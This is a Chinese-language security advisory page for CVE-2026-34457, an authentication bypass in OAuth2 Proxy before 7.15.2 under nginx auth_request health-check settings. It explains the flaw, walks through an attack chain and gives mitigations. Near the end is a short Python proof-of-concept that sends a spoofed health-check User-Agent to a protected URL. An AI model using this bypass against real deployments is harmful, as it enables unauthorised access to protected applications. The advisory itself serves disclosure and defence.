IPBUF安全漏洞报告
English
CVE-2026-34457 CVSS 9.1 严重

CVE-2026-34457 OAuth2 Proxy 身份验证绕过漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-34457
漏洞类型
身份验证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OAuth2 Proxy

相关标签

身份验证绕过OAuth2 ProxyCVE-2026-34457严重Nginx

漏洞概述

OAuth2 Proxy 7.15.2之前的版本存在一个严重的配置依赖身份验证绕过漏洞。该漏洞仅影响使用auth_request风格集成(如nginx auth_request)并启用了--ping-user-agent或--gcp-healthchecks的部署。在此配置下,OAuth2 Proxy会将任何具有配置的健康检查User-Agent值的请求视为成功的健康检查,而不管请求路径。这允许未经身份验证的远程攻击者绕过身份验证机制,直接访问受保护的上游资源。

技术细节

该漏洞的根本原因在于OAuth2 Proxy处理健康检查端点的逻辑存在缺陷。在受影响的配置中,当启用了--ping-user-agent或--gcp-healthchecks参数时,程序会优先检查HTTP请求头中的User-Agent字段。一旦发现匹配项,Proxy便直接返回200状态码,跳过了后续的OAuth2令牌验证流程。由于Nginx的auth_request机制通常仅依赖上游返回的状态码(200为通过,非200为拒绝)来决定是否转发请求,攻击者可以利用这一逻辑漏洞。通过构造包含特定User-Agent的HTTP请求,攻击者能欺骗OAuth2 Proxy将其误判为内部健康检查流量,从而在无有效凭证的情况下绕过认证层,直接访问受保护的内部应用。

攻击链分析

STEP 1
侦察
攻击者识别目标使用了OAuth2 Proxy,且通过Nginx auth_request模式进行集成。
STEP 2
指纹识别
攻击者探测目标是否启用了健康检查功能,并尝试猜测配置的User-Agent字符串(如默认的'GoogleHealthCheck')。
STEP 3
漏洞利用
攻击者向受保护的端点发送HTTP请求,并在请求头中注入特定的User-Agent值。
STEP 4
绕过验证
OAuth2 Proxy识别到健康检查User-Agent,直接返回200 OK,Nginx收到状态码后允许请求转发至后端应用。
STEP 5
数据访问
攻击者在未提供有效OAuth令牌的情况下,成功获取了受保护资源的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the protected resource behind OAuth2 Proxy target_url = "http://example.com/protected" # The specific User-Agent configured in --ping-user-agent or used by GCP healthchecks # Common default for --ping-user-agent might be empty or specific, often 'GoogleHealthCheck' is used for GCP. # Attackers need to guess or know the configured string. bypass_headers = { "User-Agent": "GoogleHealthCheck" } try: response = requests.get(target_url, headers=bypass_headers) if response.status_code == 200: print("[+] Authentication bypassed successfully!") print("[+] Content received:") print(response.text[:500]) else: print(f"[-] Bypass failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

OAuth2 Proxy < 7.15.2

防御指南

临时缓解措施
对于无法立即升级的环境,最有效的临时缓解措施是禁用--ping-user-agent和--gcp-healthchecks功能,或者在OAuth2 Proxy前置的防火墙/WAF规则中,阻断包含特定健康检查User-Agent且目标路径非健康检查端点的请求。此外,确保Nginx配置仅允许内部网络发起auth_request子请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表